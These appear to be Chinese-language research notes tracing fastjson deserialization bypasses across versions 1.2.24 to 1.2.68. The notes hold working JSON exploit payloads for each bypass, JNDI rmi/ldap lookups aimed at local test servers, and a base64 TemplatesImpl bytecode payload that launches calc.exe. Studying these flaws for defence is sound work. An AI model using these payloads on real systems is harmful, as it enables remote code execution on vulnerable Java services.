利用链就参考JdbcRowSetImpl和TemplatesImpl这两条链.
根据原理不同我把fastjson反序列化分为两类,autoType和另外一个
非常全的利用总结: https://github.com/Firebasky/Fastjson
还有: https://xz.aliyun.com/t/7027

autoType

1.2.24

fastjson反序列化从这里开始. 这个洞就是JdbcRowImpl和TemplatesImpl这两条利用链,关键点是@type会自动加载对应的类。
影响范围应该是1.2.24及之前的版本.

1.2.25-1.2.41

1.2.25之后引入了checkAutoType的安全机制,这个安全机制会在根据类名加载类的时候做检查. 有两处存在这个检查, 分别是开启autoType和关闭autotype:
image.png
image.png
对加载的类作检查: 检查有黑名单和白名单,白名单默认为空, 黑名单如下下图所示.
image.png

这里不免产生疑惑, this.autoTypeSupport 到底是什么?

image.png
其中com.sun的限制就堵死了之前两条链子. 反序列化时会抛出如下的异常:
image.png
绕过方式?

  1. 开启 this.autoTypeSupport -> ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  2. TypeUtils.loadClass 特性

开启autoType选项那么代码最终会运行到这个地方: (如果没有黑名单类的话)
image.png
看一下这个函数实现:
image.png
发现对 [ 开头和 L开头 ; 结尾的类名有特殊处理. [开头的会被当成数组.
bypass: Lxxx;

  1. {"@type":"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;","_bytecodes":["xxxx+=="],"_name":"123","_outputProperties":{}}

影响范围: 1.2.25-1.2.41

1.2.25-1.2.42

1.2.42版本对 L;做了处理, 但是只处理了一次,
image.png
另外看代码也可以看出来黑名单的方式也有变化: 改用hash黑名单了..
image.png
具体的黑名单: https://github.com/LeadroyaL/fastjson-blacklist
绕过方式: 复写L;绕过.

  1. {"@type":"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;","_bytecodes":["xxxx"],"_name":"123","_outputProperties":{}}
  2. {"@type":"LLLLLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;;;;","_bytecodes":["xxxx"],"_name":"123","_outputProperties":{}}

下面是loadClass里的处理方式: 循环处理L;
image.png

JNI字段描述符

参考 https://www.playpi.org/2019041301.html, 解释了为什么fastjson对L开头的类名做特殊处理.
image.png

1.2.25-1.2.43

这次是检测到LL;;就抛出异常了.
image.png
Bypass: [ 绕过.

  1. {"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[,{"_bytecodes":["xxxxx"],"_name":"123","_outputProperties":{}}
  2. {"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{"dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true}

1.2.25-1.2.45

在 Fastjson 1.2.44 对 1.2.43的绕过做了修复,类名以[ 开头直接报错.
但是1.2.45爆出了一个黑名单之外的可以利用的链:

  1. {
  2. "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
  3. "properties":{
  4. "data_source":"ldap://127.0.0.1:23457/Command8"
  5. }
  6. }

不过这个要加 mybatis 库 的依赖. TODO:: 待复现.

fastjson<=1.2.68

fastjson1.2.68这个版本更新了safeMode, 在开启这个选项的情况下, checkAutoType方法直接抛出异常.
但是这个版本爆出来一条新链: 在开启AutoType和不开启SafeMode的情况下可以通过expectClass绕过AutoType.
payload:

  1. {"@type":"java.lang.AutoCloseable", "@type":"Evil","name":"calc.exe"}

分析:
TODO: // 太菜了,还是直接先记录下POC比较好
参考 Firebasky的blog: https://github.com/Firebasky/Fastjson#fastjson1268

Fastjson<=1.2.47

不依赖autoType也可以利用的payload.
payload:

  1. [{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true}]

分析:
直接看ParserConfig#checkAutoType
看到在autoType未开启时, 在检查之前有这么一段代码:
image.png
重点是:
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
这段代码有什么用呢? 从Mapping中尝试加载类.
Mapping又是什么? 可以看作一个类对象的缓存池.
image.png
这个缓存池会缓存前面已经加载的类对象, 参考loadClass: cache选项开启即可(默认开启)
image.png
这样再看payload: 就很清晰了, 利用黑名单外的类和方法先加载com.sun.rowset.JdbcRowSetImpl并把它加入到mapping缓存, 然后再打实际利用的payload.

至于为什么java.lang.Class#val的值会被当作类来加载, 参考 DefaultJSONParser#parseObject的处理细节. https://blog.weik1.top/2021/09/08/Fastjson%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Fastjson-lt-1-2-47 image.png

  1. [
  2. {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
  3. {
  4. "@type":"com.sun.rowset.JdbcRowSetImpl",
  5. "dataSourceName":"rmi://127.0.0.1:1099/Exploit",
  6. "autoCommit":true
  7. }
  8. ]

templ payload:

  1. [{"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMZXZpbENsejsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAxldmlsQ2x6LmphdmEMAAkACgcALgwALwAwAQAIY2FsYy5leGUMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEAB2V2aWxDbHoBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAkADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABUADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADAAJAA8ADAANAA0ADgARABAADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw=="],"_name":"123","_outputProperties":{}}]

修复

cache=false.
image.png